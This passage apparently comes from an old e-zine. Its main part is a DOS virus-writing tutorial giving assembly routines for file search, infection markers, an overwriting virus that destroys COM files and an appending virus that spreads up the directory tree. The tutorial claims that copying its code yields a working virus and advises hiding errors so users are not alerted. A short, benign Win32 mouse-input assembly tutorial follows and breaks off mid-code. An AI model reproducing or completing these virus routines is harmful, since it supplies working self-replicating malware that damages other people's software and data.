at all times what the virus is doing as well as it will help you debugging it. Also you should program and test different routines separately as it will reduce complexity and bug proneness. Lastly the use of memory and disk mapping/editing utilities, a set of good anti-virus and most important the use of backups is encouraged, so that you can keep track of things and are able to restore your system in case something goes wrong. In case things get really out of hand you should always have a clean "rescue disk" which you should create by doing a FORMAT A: /S /U and then copying into it some useful DOS files like FORMAT.COM, UNFORMAT.COM, FDISK.EXE, SYS.COM, MEM.EXE, ATTRIB.EXE, DEBUG.EXE, CHKDSK.EXE, SUBST.EXE, a text editor just in case and whichever other files you may find useful. Also an anti-virus should be included along. Don't forget to write protect the disk and put it in a safe place. The first thing you should do in order to clean up your system is to boot from your previously created disk and use your anti-virus clean and restoration features, as most times this will work, saving you a lot of hassle. In last resort, you should run FDISK /MBR to re-write the executable code and error messages of the partition sector, then run FDISK and first delete, then create a new partion table and finally run FORMAT C: /S /U. Your system should now be completely clean and you can restore your backups at this time. If all you want is to clean a floppy disk instead of a hard disk, then all you have to do is run FORMAT A: /S /U to create a new boot sector, FAT and root directory. Of course that after this procedures all data will be lost, so as I said before this should only be used if you're really desperate. Above all, don't forget to backup, backup, backup! Tools & References ------------------ In order to write and test a sucessful virus you need some useful programs and references, such as: - An assembler (TASM, MASM, Intel's ASM86, A86, NASM, ...) - I recommend using Turbo Assembler, as all code I will provide will be tested with it. - A linker (TLINK, LINK, Intel's LINK86...) - Again I recommend Turbo Linker. - A debugger (Dos' DEBUG, TD, ...) - Dos' DEBUG is old but will do the job, you can use Turbo Debugger though, as it is somewhat better. - A text and a hex editor of your choice. - A disassembler (DEBUG, Sourcer, IDA, ...) - You can use Dos' DEBUG, but would be better if you used Sourcer which is very good or IDA which is excellent but very large in size. - Some other things like TSR Utilities by TurboPower Software, Norton Utilities and more. - A good set of Anti-Virus packages, such as ThunderBYTE Anti-Virus (as a great set of utilities to backup your bootsector, partition table and CMOS), AVP (AntiViral Toolkit Pro) and F-PROT. Also available are McAfee (now Network Associates, I think) VirusScan, Dr.Solomon's AVTK and Norton Anti-Virus. - Ralph Brown's x86/MSDOS Interrupt List, Norton Guides' Assembly Language database, David Jurgens' HelpPC, DOSREF (Programmers' Technical Reference for MSDOS and the IBM PC) and others you find useful. On Viruses ---------- There are two things that must always be present on every working virus, first the search routine that seeks for suitable targets for the virus to infect and lastly the replication routine that copies the virus to the found target. Other routines may also be added in order to enhance the virus and the two more basic and essencial parts can be improved, increasing its performance, albeit its complexity too. I intentionally left out a major routine, the payload (aka activation routine), though not necessary, it is present in almost all viruses. Sincerely I see no real use for most activation routines, since all they do is seriously cripple the virus's chance to spread. Besides, all good payloads must be custom made (as should all viruses, but that's another story...), so you'll have to build your own if you want one. For some old good examples of non-destructive payloads take a look at Ambulance Car, Cascade, Den Zuk, Corporate Life and Crucifixion. All code presented hereafter was first tested on both of my machines and works, but this doesn't mean that it will work on all possible configurations, so I can't fully guarantee that it won't ever cause unwanted damage. It's bad enough that your virus may unwillingly trash someone's data, so don't go writing destructive payloads just for the hell of it. Programming - and therefore virus writing - is an art, treat it as such. A Word On Error Trapping ------------------------ Error trapping is regrettably one of the most forgotten things in viruses. You should always account for errors in order not to crash and even trash things. This doesn't mean that you should present cute DOS-like error messages, as this would alert the user, instead you should process the information and act accordingly. That most times just means that you should abort the virus ongoing operations and restore control back to the host. Optimization ------------ All code will be presented in an unoptimized form for ease of understanding and also because all routines are shown seperate from each other so that they are portable to different kinds of viruses. When writing a full virus you should always optimize your code, so that it takes as little space as possible. Don't use procedures unless you can save space by doing so. Also don't use variables when you can use registers (for example the F_Handle variable needs not be used since you could just use the stack or some free register - see below). Delta Offset ------------ When you're programming a virus that will always be placed at a fixed location, like overwriting and prepending viruses, you won't have to worry about any of this, but if you're writing a virus that relocates part of its code to a random location, such as appending and midfile infectors, you'll have to account for the displacement. This doesn't affect most jumps and calls, since they are relative, but data on the other hand is refered by an absolute offset. Things would work fine the first time you assembled and run the virus, but not after the first infection when all memory addresses would then be changed. To account for this all one has to do is: --8<--------------------------------------------------------------------------- Delta_Offset: call Find_Displacement Find_Displacement: pop bp sub bp, offset Find_Displacement ---------------------------------------------------------------------------8<-- What this piece of code does is, first issue a CALL to the next instruction, so the IP (Instruction Pointer) for it will pushed into the stack, next we POP it to the register BP (it is good programming to use BP, which stands for Base Pointer), and finally we SUBtract the original OFFSET determined when the virus was compiled. Of course the first time the virus is run, the displacement will be zero, only on subsequent runs will it change according to the host size. I'll be presenting code for infectors that require delta offset calculation, so for all the other infectors that don't, in order to accommodate any of the code presented hereafter you'll just have to strip out any displacement calculations as in the following examples: Replace lea dx, [bp+offset DTA] With lea dx, DTA Replace mov word ptr [bp+F_Handle], ax With mov F_Handle, ax Once you've given it a little thought and figured it out it's not as hard as it may first seem. Of course that even if you're programming a fixed location virus you can still leave all code as if you were writing one that needed you to calculate the delta offset, since the displacement is always zero. Nevertheless you shouldn't do this, mainly because it adds unnecessary size to the virus and it is extremely sloppy (and lazy) programming (copying?!?!). .COM File Structure ------------------- COM files are raw binary executables, designed for compatibility with the old CP/M operating system. Whenever a COM file is executed, DOS first sets aside a segment (64K) of memory for it, then builds a PSP (Program Segment Prefix) in the first 256 bytes, after which the program is loaded into. Before passing control to the program DOS does some things first, among which are: 1) Register AX reflects the validity of drive specifiers entered with the first two parameters as follows: AL=0FFh if the first parameter contained an invalid drive specifier, otherwise AL=00h AL=0FFh if the second parameter contained an invalid drive specifier, otherwise AL=00h 2) All four segment registers contain the segment address of the PSP control block 3) The Instruction Pointer (IP) is set to 100h 4) The SP register is set to the end of the program's segment and a word of zeroes is placed on top of the stack In case any of this things are changed during the virus execution, you shouldn't forget to restore them before passing control back to the host. So, given this, a COM file program can only have a maximum size of 65277 bytes, since you have to account for the PSP and at least for the two bytes occupied by the stack. Here is how a COM file looks when loaded in memory: FFFFh +--------------------+ <- SP | | | Stack | | | +--------------------+ | | | Uninitialized Data | | | +--------------------+ | | | COM File Image | | | 100h +--------------------+ <- IP | | | PSP | | | 0h +--------------------+ <- CS, DS, ES, SS Don't forget to account for stack growth needed by your program as well as any uninitalized data, for if you don't there is a chance that it will crash, since the stack may grow large enough to overwrite data or code, or your data may wrap around and overwrite the PSP and the code. Program Segment Prefix (PSP) ---------------------------- A PSP is created by DOS for all programs and contains most of the information one needs to know about them. Its structure looks like this: [ PSP - Program Segment Prefix ] Offset Size Description ------ ---- ----------- 0h Word INT 20h instruction 2h Word Segment address of top of the current program's allocated memory 4h Byte Reserved 5h Byte Far call to DOS function dispatcher (INT 21h) 6h Word Available bytes in the segment for .COM files 8h Word Reserved Ah Dword INT 22h termination address Eh Dword INT 23h Ctrl-Break handler address 12h Dword DOS 1.1+ INT 24h critical error handler address 16h Byte Segment of parent PSP 18h 20 Bytes DOS 2+ Job File Table (one byte per file handle FFh = available/closed) 2Ch Word DOS 2+ segment address of process' environment block 2Eh Dword DOS 2+ process' SS:SP on entry to last INT 21h function call 32h Word DOS 3+ number of entries in JFT 34h Dword DOS 3+ pointer to JFT 38h Dword DOS 3+ pointer to previous PSP 3Ch 20 Bytes Reserved 50h 3 Bytes DOS 2+ INT 21h/RETF instructions 53h 9 Bytes Unused 5Ch 16 Bytes Default unopened File Control Block 1 (FCB1) 6Ch 16 Bytes Default unopened File Control Block 2 (FCB2) 7Ch 4 Bytes Unused 80h Byte Command line length in bytes 81h 127 Bytes Command line (ends with a Carriage Return 0Dh) Note: For a more detailed explanation of the PSP structure, including many undocumented features, see Ralph Brown's x86/MSDOS Interrupt List. And here are the default file handles for the Job File Table (JFT): [ DOS Default/Predefined File Handles] 0 - Standard Input Device, can be redirected (STDIN) 1 - Standard Output Device, can be redirected (STDOUT) 2 - Standard Error Device, can be redirected (STDERR) 3 - Standard Auxiliary Device (STDAUX) 4 - Standard Printer Device (STDPRN) The File Control Block (FCB) and the Environment Block structures will be covered on a later article, as they aren't needed for now. Disk Transfer Area (DTA) ------------------------ For all file reads and writes performed using FCB function calls, as well as for "Find First" and "Find Next" calls using FCBs or not, DOS uses a memory buffer called Disk Transfer Area, which is by default located at offset 80h in the PSP and is 128 bytes long (this area is also used by the command tail), so in order not to interfere with whichever command line parameters there might be, the Disk Transfer Address should be set to a different location in memory. This is done like this: --8<--------------------------------------------------------------------------- Set_DTA: mov ah, 1Ah lea dx, [bp+offset DTA] int 21h ---------------------------------------------------------------------------8<-- ;Interrupt: 21h ;Function: 1Ah - Set Disk Transfer Address (DTA) ;On entry: AH - 1Ah ; DS:DX - Address of DTA ;Returns: Nothing Of course that before passing control back to the host you should restore the Disk Transfer Address back to its original value: --8<--------------------------------------------------------------------------- Restore_DTA: mov ah, 1Ah mov dx, 80h int 21h ---------------------------------------------------------------------------8<-- A sufficient buffer area should always be reserved, as DOS will detect and abort any disk transfers that would fall off the end of the current segment or wrap around within the segment. FindFirst Data Block -------------------- Upon a successful "Find First Matching File" function call the Disk Transfer Area is filled with a FindFirst Data Block which contains info on the matching file found, also after a "Find Next Matching File" function call that data is updated. As we'll only be using the DTA for this, all we need to when setting a new one is to have a 43 bytes long buffer so that we can allocate the FindFirst Data Block: --8<--------------------------------------------------------------------------- DTA: Reserv db 21 dup (?) F_Attr db (?) F_Time dw (?) F_Date dw (?) F_Size dd (?) F_Name db 13 dup (?) ---------------------------------------------------------------------------8<-- And here is the FindFirst Data Block structure: [ FindFirst Data Block ] Offset Size Description ------ ---- ----------- 0h 21 Bytes Reserved for DOS use on subsequent Find Next calls - is different per DOS version 15h Byte Attribute of matching file 16h Word File time stamp 18h Word File date stamp 1Ah Dword File size in bytes 1Eh 13 Bytes ASCIIZ filename and extension The file attribute field looks like this: [File Attribute] Bit(s) Description ------ ----------- 7 6 5 4 3 2 1 0 . . . . . . . 1 Read-only . . . . . . 1 . Hidden . . . . . 1 . . System . . . . 1 . . . Volume label . . . 1 . . . . Directory . . 1 . . . . . Archive x x . . . . . . Unused The file time field is like this: [File Time] Bit(s) Description ------ ----------- F E D C B A 9 8 7 6 5 4 3 2 1 0 . . . . . . . . . . . x x x x x Seconds/2 (0..29) - 2 second increments . . . . . x x x x x x . . . . . Minutes (0..59) x x x x x . . . . . . . . . . . Hours (0..23) And finally the file date field like this: [File Date] Bit(s) Description ------ ----------- F E D C B A 9 8 7 6 5 4 3 2 1 0 . . . . . . . . . . . x x x x x Day (1..31) . . . . . . . x x x x . . . . . Month (1..12) x x x x x x x . . . . . . . . . Year since 1980 (0..119) Current Directory Preservation ------------------------------ If you're searching for files outside the directory where your virus was run from, you must save the old directory and restore it when you're done. First to save it you must do: --8<--------------------------------------------------------------------------- Get_Directory: mov ah, 47h mov dl, 0 lea si, [bp+offset Orig_Dir] int 21h jnc Find_First jmp Return_Control ---------------------------------------------------------------------------8<-- ;Interrupt: 21h ;Function: 47h - Get Current Directory ;On entry: AH - 47h ; DL - Drive number (0=default, 1=A, etc.) ; DS:SI - Pointer to a 64-byte buffer ;Returns: AX - Error code, if CF is set ;Error codes: 15 - Invalid drive specified ;Notes: This function returns the full pathname of the current directory, ; excluding the drive designator and initial backslash character, as an ; ASCIIZ string at the memory buffer pointed to by DS:SI. A 64 byte long buffer must be present to hold the original directory: --8<--------------------------------------------------------------------------- Orig_Dir db 64 dup (?) ---------------------------------------------------------------------------8<-- Then before actually restoring to the old directory, you must first change to the root directory and then restore from there, since all paths are relative to it. --8<--------------------------------------------------------------------------- ChangeTo_Root: mov ah, 3Bh lea dx, [bp+offset Root] int 21h jc Restore_DTA ---------------------------------------------------------------------------8<-- ;Interrupt: 21h ;Function: 3Bh - Change Directory (CHDIR) ;On entry: AH - 3Bh ; DS:DX - Pointer to name of new default directory (ASCIIZ ; string) ;Returns: AX - Error code, if CF is set ;Error Codes: 3 - Path not found ;Notes: This function changes the current directory to the directory whose path ; is specified in the ASCIIZ string at address DS:DX; the string length ; is limited to 64 characters. The path name may include a drive letter. A buffer containing a ASCIIZ string representing the root: --8<--------------------------------------------------------------------------- Root db '\', 0 ---------------------------------------------------------------------------8<-- And finally you switch to the original directory (if the original directory is the root there will be an error since the path won't be valid - this doesn't matter since we changed to root before): --8<--------------------------------------------------------------------------- Restore_Directory: mov ah, 3Bh lea dx, [bp+offset Orig_Dir] int 21h ;jc Restore_DTA ;No need, since it's right after ---------------------------------------------------------------------------8<-- If you change drives while searching for files to infect (this will be covered in a next article) you should also preserve the original drive and then restore it in the end. File Search Techniques ---------------------- A runtime virus can infect files located in the current directory, in subdirectories, maybe only in root, in the PATH and even on different drives. You must be very careful when writing your search routine, since if you only infect files in a few places your virus won't spread much, but if you search for files to infect in every possible place, after the first infections it will start to take much longer to find new hosts (since most are already infected) and disk activity might last for long enough to be noticeable. Some of this techniques are presented below. The others will be presented on a next article. Find First/Find Next -------------------- This is used when you want to search for files on a the current directory. You start by searching for the first matching COM file with normal attributes: --8<--------------------------------------------------------------------------- Find_First: mov ah, 4Eh mov cx, 0 lea dx, [bp+offset COM_Mask] int 21h jnc Open_File jmp Return_Control ---------------------------------------------------------------------------8<-- ;Interrupt: 21h ;Function: 4Eh - Find First Matching File (FIND FIRST) ;On entry: AH - 4Eh ; CX - File attribute ; DS:DX - Pointer to filespec (ASCIIZ string) ;Returns: AX - Error code, if CF is set ;Error codes: 2 - File not found ; 3 - Path not found ; 18 - No more files to be found ;Notes: If CX is 0, the function searches for normal files only. If CX ; specifies any combination of the hidden, system, or directory attribute ; bits, the search matches normal files and also any files with those ; attributes. If CX specifies the volume label attribute, the function ; looks only for entries with the volume label attribute. The archive and ; read-only attribute bits have no effect on the search operation. A buffer holding the filespec must be present: --8<--------------------------------------------------------------------------- COM_Mask db "*.COM", 0 ---------------------------------------------------------------------------8<-- Then if you're not done infecting or if the file didn't pass your infection criteria you can look for some more files matching the same specifications: --8<--------------------------------------------------------------------------- Find_Next: mov ah, 4Fh int 21h jc Return_Control ;Replace with 'jc ChangeTo_Parent' if ; using the "dot dot" method jmp Open_File ---------------------------------------------------------------------------8<-- ;Interrupt: 21h ;Function: 4Fh - Find Next Matching File (FIND NEXT) ;On entry: AH - 4Fh ;Returns: AX - Error code, if CF is set ;Error codes: 18 - No more files to be found "Dot Dot" --------- If you wish to infect files on different directories one curious and very easy way of doing so is using the "dot dot" method which jumps to the parent directory until your virus is satisfied or until it reaches the root: --8<--------------------------------------------------------------------------- ChangeTo_Parent: mov ah, 3Bh lea dx, [bp+offset Parent_Dir] int 21h jc Return_Control jmp Find_First ---------------------------------------------------------------------------8<-- A buffer representing the parent directory in ASCIIZ string format must exist: --8<--------------------------------------------------------------------------- Parent_Dir db "..", 0 ---------------------------------------------------------------------------8<-- Infection Criteria ------------------ Since a COM file is always less than 65536 bytes it's easy to compare its size against our criteria. Don't forget that you must account for the virus size, the stack, the PSP (just in case) and any uninitialized data: --8<--------------------------------------------------------------------------- Check_Size: cmp word ptr [bp+F_Size+2], 0 je Check_PlusVirus jmp Close_File Check_PlusVirus: mov ax, word ptr [bp+F_Size] add ax, offset Virus_End - offset Virus_Start + 4 + 256 + 109 jnc PointTo_Begin jmp Close_File ---------------------------------------------------------------------------8<-- Other criterias will be covered on later articles. Opening/Closing the Host ------------------------ For now we will not worry about read-only files, so we will open the file in read/write mode as this will fail on read-only files: --8<--------------------------------------------------------------------------- Open_File: mov ah, 3Dh mov al, 00000010B lea dx, [bp+offset F_Name] ;Replace with 'mov dx, 9Eh' for the ; overwriting virus since the file name ; in the DTA is in the PSP (80h+1Eh) int 21h jnc Save_Handle jmp Find_Next Save_Handle: mov word ptr [bp+F_Handle], ax ---------------------------------------------------------------------------8<-- ;Interrupt: 21h ;Function: 3Dh - Open a File ;On entry: AH - 3Dh ; AL - Open mode ; DS:DX - Pointer to filename (ASCIIZ string) ;Returns: AX - File handle ; Error code, if CF is set ;Error codes: 1 - Function number invalid ; 2 - File not found ; 3 - Path not found ; 4 - No handle available ; 5 - Access denied ; 12 - Open mode invalid ;Notes: The function opens any existing file, including hidden files, and sets ; the record size to 1 byte. And here is the format of the open mode byte: [Open Mode] Bit(s) Open Mode Description ------ --------- ----------- 7 6 5 4 3 2 1 0 . . . . . x x x Access mode Read/Write access . . . . x . . . Reserved Must always be zero . x x x . . . . Sharing mode Must be 0 in DOS 2.x x . . . . . . . Inheritance flag Must be 0 in DOS 2.x [Access Mode] Bit(s) Access Mode --- ----------- 2 1 0 0 0 0 Read-only access 0 0 1 Write-only access 0 1 0 Read/write access [Sharing Mode] Bit(s) Sharing Mode --- ------------ 6 5 4 0 0 0 Compatibility mode 0 0 1 Deny Read/Write mode (Exclusive mode) 0 1 0 Deny Write mode 0 1 1 Deny Read mode 1 0 0 Deny None mode [Inheritance Flag] Bit Inheritance Flag --- ---------------- 7 0 File is inherited by child processes 1 File is not inherited There should be a buffer for the file handle: --8<--------------------------------------------------------------------------- F_Handle dw (?) ---------------------------------------------------------------------------8<-- And when you're done with the file you close it: --8<--------------------------------------------------------------------------- Close_File: mov ah, 3Eh mov bx, word ptr [bp+F_Handle] int 21h jnz Return_Control ;Because of the routine jnc Find_Next jmp Return_Control ---------------------------------------------------------------------------8<-- ;Interrupt: 21h ;Function: 3Eh - Close a File Handle ;On Entry: AH - 3Eh ; BX - File handle ;Returns: AX - Error code, if CF is set ;Error codes: 6 - Invalid handle ;Notes: This function flushes the file's buffers, closes the file, releases the ; handle, and updates the directory. Self-Recognition ---------------- This is very important, since if you don't check for prior infection you might end up making the host grow beyond the maximum permitted size. There are a number of ways of doing this, you can check for some sort of marker, a time stamp can be placed on the host and others. Only the marker method will be covered in this article. Marker Byte ----------- The marker byte is located at the beginning of the file and is preceded by a jump to the real start of the virus (it has to be coded "manually" since it doesn't assemble correctly): --8<--------------------------------------------------------------------------- Host: db 0E9h, 2, 0 ;This is a near jump to Virus_Start, ; which is supposed to be right after ; the ID marker db 'ID' ---------------------------------------------------------------------------8<-- To read the first five bytes of an open file this is what you do: --8<--------------------------------------------------------------------------- Read_Five: mov ah, 3Fh mov bx, word ptr [bp+F_handle] mov cx, 5 lea dx, [bp+offset IDMark] int 21h jnc And_Also jmp Close_File And_Also: cmp cx, ax jz Check_IDMark jmp Close_File ---------------------------------------------------------------------------8<-- ;Interrupt: 21h ;Function: 3Fh - Read from File or Device, Using a Handle ;On entry: AH - 3Fh ; BX - File handle ; CX - Number of bytes to read ; DS:DX - Address of buffer ;Returns: AX - Number of bytes read, or ; Error code, if CF is set ;Error codes: 5 - Access denied ; 6 - Invalid handle ;Network: Requires Read access rights ;Notes: Data is read starting at the location pointed to by the file pointer. ; The file pointer is incremented by the number of bytes read. If the ; Carry Flag is not set and AX = 0, the file pointer was at the end of ; the file when the function was called. If the Carry Flag is not set ; and AX is less than the number of bytes requested, either the function ; read to the end of the file, or an error occurred. A 5 bytes long buffer must exist (this will hold a dummy host the first time it is run - all it does is exit to DOS): --8<--------------------------------------------------------------------------- IDMark db 0CDh, 20h, 90h, 90h, 90h ---------------------------------------------------------------------------8<-- And to see if a valid ID marker exists in the five bytes read: --8<--------------------------------------------------------------------------- Check_IDMark: cmp word ptr [bp+IDMark+3], 'DI' jnz Check_Size jmp Close_File ---------------------------------------------------------------------------8<-- Parasitic Replication Methods ----------------------------- Only two examples of parasitic viruses will be covered, first the overwriting which doesn't need any displacement calculations and after the appending virus that needs those calculations. Other types of parasitic viruses such as midfile infectors, prepending viruses as non-parasitic ones such as companion (aka spawning) viruses will be covered on future articles. An Overwriting Virus -------------------- As its name says, this type of virus overwrites part of its host, making it unnable to execute as it is destroyed beyond repair. And here is how it works (credit goes to Dark Angel for this nifty drawing): +---------------+ +-------+ +---------------+ | P R O G R A M | + | VIRUS | = | VIRUS | R A M | +---------------+ +-------+ +---------------+ We won't really care about reinfection with this type of virus, since there is no more file growth and also because this virus is easily noticed. An outline for a overwriting virus looks like this: 1. file 2. in read/write mode 3. of virus over the host 4. handle 5. file (a) If another file found then goto step 2 6. back to DOS Here is the copy routine for the overwriting virus (don't forget to strip out the displacement calculations for this type of viruses): --8<--------------------------------------------------------------------------- Copy_Body: mov ah, 40h mov bx, word ptr [bp+F_Handle] mov cx, Virus_End - Virus_Start lea dx, [bp+offset Virus_Start] int 21h ;jc Close_File ;No need since it's right after cmp cx, ax ;jnz Return_Control ;Place this after the ; routine, since you shouldn't leave ; unclosed file handles ---------------------------------------------------------------------------8<-- ;Interrupt: 21h ;Function: 40h - Write to File or Device, Using a Handle ;On entry: AH - 40h ; BX - File handle ; CX - Number of bytes to write ; DS:DX - Address of buffer ;Returns: AX - Number of bytes written, or ; Error code, if CF is set ;Error codes: 5 - Access denied ; 6 - Invalid handle ;Network: Requires Write access rights ;Notes: Data is written starting at the current file pointer. The file pointer ; is then incremented by the number of bytes written. If a disk full ; condition is encountered, no error code will be returned (i.e., CF will ; not be set); however, fewer bytes than requested will have been ; written. You should check for this condition by testing for AX less ; than CX after returning from the function. WARNING: This virus will infect and partially or totally destroy all COM files in the current directory! Exiting To DOS -------------- In an overwriting virus you need not pass control back to the host, since it is partially (or totally) destroyed, so all the virus needs to do is exit to DOS. This can be done in any of this ways: --8<--------------------------------------------------------------------------- Return_Control: mov ah, 4Ch mov al, 00h int 21h ;mov ah, 00h ;Here is another way ;int 21h ;int 20h ;And another ;ret ;Yet another way ---------------------------------------------------------------------------8<-- ;Interrupt: 21h ;Function: 4Ch - Terminate a Process (EXIT) ;On entry: AH - 4Ch ; AL - Return code ;Returns: Nothing ;Notes: This function is the proper method of terminating a program in DOS ; versions 2.0 and above. It closes all files, and hands control back to ; the parent process (usually COMMAND.COM), along with the return code ; specified in AL. ;Interrupt: 21h ;Function: 00h - Terminate Program ;On entry: AH - 00h ; CS - Segment address of PSP ;Returns: Nothing ;Notes: DOS terminates the program, flushes the file buffers, and restores the ; terminate, Ctrl-Break, and critical error exit addresses from the PSP. ; Close all files first. ;INT 20h - Terminate Program ;On entry: CS - Segment address of PSP ;Returns: Nothing ;Notes: Is equivalent to Interrupt 21h, Function 00h. An Appending Virus ------------------ The appending virus works by placing its code at the end of the host, then copying the first bytes to a safe location and adding a jump to its code at the beginning so that it takes control before the host does. Unlike overwriting viruses, no part of the host is permanently destroyed, so it will be much harder to notice an infection. It looks like this: +-----------------------------+---------+-------+--------------------------+ | JMP to Virus_Start + IDMark | PROGRAM | Virus | First 5 bytes of PROGRAM | +-----------------------------+---------+-------+--------------------------+ We will worry about reinfection on this one, directory preservation and some other things. And here is an outline: 1. (jumps to start of virus) 2. Calculate the 3. register 4. 's 5 original beginning bytes 5. to a new address 6. (the current one) 7. file 8. in read/write mode 9. bytes from beginning of file 10. for previous infection 11. of intended host 12. of file 13. to main virus body 14. to host 15. of file 16. of virus and the 5 bytes from the beginning of the file 17. handle 18. file (a) If another file found then goto step 8 19. directory (a) If not already in root then goto step 7 20. (for the appending virus this is just a label) 21. directory 22. to original one 23. to PSP:0080h 24. register 25. back to the host Here is how to restore the host's original 5 bytes: --8<--------------------------------------------------------------------------- Restore_Host: mov cx, 5 lea si, [bp+offset IDMark] mov di, 100h rep movsb ---------------------------------------------------------------------------8<-- To move the file pointer to be beginning of the file: --8<--------------------------------------------------------------------------- PointTo_Begin: mov ah, 42h mov al, 0 mov bx, word ptr [bp+F_Handle] mov cx, 0 mov dx, 0 int 21h jnc Calc_Jump jmp Close_File ---------------------------------------------------------------------------8<-- ;Interrupt: 21h ;Function: 42h - Move File Pointer (LSEEK) ;On entry: AH - 42h ; BX - File handle ; CX:DX - Offset, in bytes (signed 32-bit integer) ; AL - Mode code (see below) ;Mode Code: AL - Action ; 0 - Move pointer CX:DX bytes from beginning of file ; 1 - Move pointer CX:DX bytes from current location ; 2 - Move pointer CX:DX bytes from end of file ;Returns: DX:AX - New pointer location (signed 32-bit integer), ; or AX - Error code, if CF is set ;Error codes: 1 - Invalid mode code ; 6 - Invalid handle And the calculate the new jump according to the host size: --8<--------------------------------------------------------------------------- Calc_Jump: mov ax, word ptr [bp+F_Size] sub ax, 3 mov word ptr [bp+Jump+1], ax ---------------------------------------------------------------------------8<-- Of course a buffer holding the jump instruction and the marker must exist: --8<--------------------------------------------------------------------------- Jump db 0E9h, 2, 0, 'ID' ---------------------------------------------------------------------------8<-- Then you write to the host the calculated jump to the start of your virus: --8<--------------------------------------------------------------------------- Write_Jump: mov ah, 40h mov cx, 5 lea dx, [bp+offset Jump] int 21h jnc In_Between jmp Close_File In_Between: cmp cx, ax jz PointTo_End jmp Close_File ---------------------------------------------------------------------------8<-- After you move the file pointer to the end of the file: --8<--------------------------------------------------------------------------- PointTo_End: mov ah, 42h mov al, 2 mov bx, word ptr [bp+F_Handle] mov cx, 0 mov dx, 0 int 21h jnc Copy_Body jmp Close_File ---------------------------------------------------------------------------8<-- And to append the virus to it all you need to do is use the routine presented for the overwriting virus. Also don't forget to first save and then restore the AX register since we'll be using it in the virus (this will avoid programs like HotDIR from failing to run): --8<--------------------------------------------------------------------------- Save_AX: push ax ---------------------------------------------------------------------------8<-- To restore it: --8<--------------------------------------------------------------------------- Restore_AX: pop ax ---------------------------------------------------------------------------8<-- WARNING: Be careful with this virus since it will infect almost every 'clean' COM file in the current directory and all parent directories up to the root! Passing Control Back To The Host -------------------------------- To restore control back to the host all you need to do is set the IP to 100h: --8<--------------------------------------------------------------------------- ReturnTo_Host: push 100h ret ;mov di, 100h ; Another way of accomplishing the same ;jmp di ---------------------------------------------------------------------------8<-- Miscellaneous ------------- Don't forget to place a 'Virus_Start:' label at the start of the viral code (for the appending virus that is right after the ID byte and right before the delta offset calculation routine; for the overwriting virus it's right at the start of the code, since there's no need for a dummy host) and a 'Virus_End:' label at the end of the viral code, right after the initialized data and before the uninitialized one. Here's out it's supposed to look like: Host: ;This part for the appending virus only [Jump to virus code] ;" " " [IDByte] ;" " " Virus_Start: [Virus code] ... [Data that needs to be copyed with the code] Virus_End: [Uninitialized data that needs not be copyed] Change the control flow instructions according to your virus needs. Anyway if you copy everything as is, you'll end up with a working virus. .BIN File Structure ------------------- BIN files are exactly like COM files, they only have a different extension and so must be renamed to be run by DOS. If you want you can for example set your viruses to infect BIN files if no COM ones are found in the current directory. These type of files are normally created by the EXE2BIN program. In Closing ---------- Well with this knowledge you can now start writing your own viruses. In future articles I'll explain some more search and replication routines among some other things. If there are any next articles that is! ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::................................WIN32.ASSEMBLY.PROGRAMMING Mouse Input by Iczelion We will learn how to receive and respond to mouse input in our window procedure. The example program will wait for left mouse clicks and display a text string at the exact clicked spot in the client area. Preliminary: As with keyboard input, Windows detects and sends notifications about relevant mouse activities to each window. These activities include left and right clicks, mouse cursor movements over window, double clicks. Unlike keyboard input which is directed to the window that has input focus, mouse messages are sent to any window that the mouse cursor is over, active or not. In addition, there are mouse messages about the non-client area too. But most of the time, we can blissfully ignore them. We can focus on those relating to the client area. For each left and right mouse button, there are two associated messages: WM_LBUTTONDOWN,WM_RBUTTONDOWN and WM_LBUTTONUP, WM_RBUTTONUP messages. For a mouse with three buttons, there are also WM_MBUTTONDOWN and WM_MBUTTONUP. When the mouse cursor moves over the client area, Windows sends WM_MOUSEMOVE messages to the window under the cursor. A window can receive double click messages, WM_LBUTTONDBCLK or WM_RBUTTONDBCLK, if and only if its window class has been defined to receive them by including CS_DBLCLKS flag in the class style,else the window will receive only a series of mouse button up and down messages. For all these messages, the value of lParam contains the position of the mouse. The low word is the x-coordinate, and the high word is the y-coordinate relative to upper left corner of the client area of the window. wParam indicates the state of the mouse buttons and Shift and Ctrl keys. Content: include windows.inc includelib user32.lib includelib kernel32.lib includelib gdi32.lib .data ClassName db "SimpleWinClass",0 AppName db "Our First Window",0 MouseClick db 0 ; 0=no click yet .data? hInstance HINSTANCE ? CommandLine LPSTR ? hitpoint POINT <> .code start: invoke GetModuleHandle, NULL mov hInstance,eax invoke GetCommandLine invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT invoke ExitProcess,eax WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:SDWORD LOCAL wc:WNDCLASSEX LOCAL msg:MSG LOCAL hwnd:HWND mov wc.cbSize,SIZEOF WNDCLASSEX mov wc.style, CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc, OFFSET WndProc mov wc.cbClsExtra,NULL mov wc.cbWndExtra,NULL push hInstance pop wc.hInstance mov wc.hbrBackground,COLOR_WINDOW+1 mov wc.lpszMenuName,NULL mov wc.lpszClassName,OFFSET ClassName invoke LoadIcon,NULL,IDI_APPLICATION mov wc.hIcon,eax mov wc.hIconSm,0 invoke LoadCursor,NULL,IDC_ARROW mov wc.hCursor,eax invoke RegisterClassEx, addr wc invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\ WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\ CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\ hInst,NULL mov hwnd,eax invoke ShowWindow, hwnd,SW_SHOWNORMAL invoke UpdateWindow, hwnd .WHILE TRUE invoke GetMessage, ADDR msg,NULL,0,0 .BREAK .IF (!eax) invoke DispatchMessage, ADDR msg .ENDW mov eax,msg.wParam ret WinMain endp WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM LOCAL hdc:HDC LOCAL ps:PAINTSTRUCT mov eax,uMsg .IF eax==WM_DESTROY invoke PostQuitMessage,NULL .ELSEIF eax==WM_LBUTTONDOWN mov eax,lParam shl eax,16 shr eax,16 mov hitpoint.x,eax mov eax,lParam shr eax,16 mov hitpoint.y,eax mov MouseClick,TRUE invoke InvalidateRect,hWnd,NULL,TRUE .ELSEIF eax==WM_PAINT invoke BeginPaint,hWnd, ADDR ps mov hdc,eax .IF MouseClick invoke lstrlen,ADDR AppName 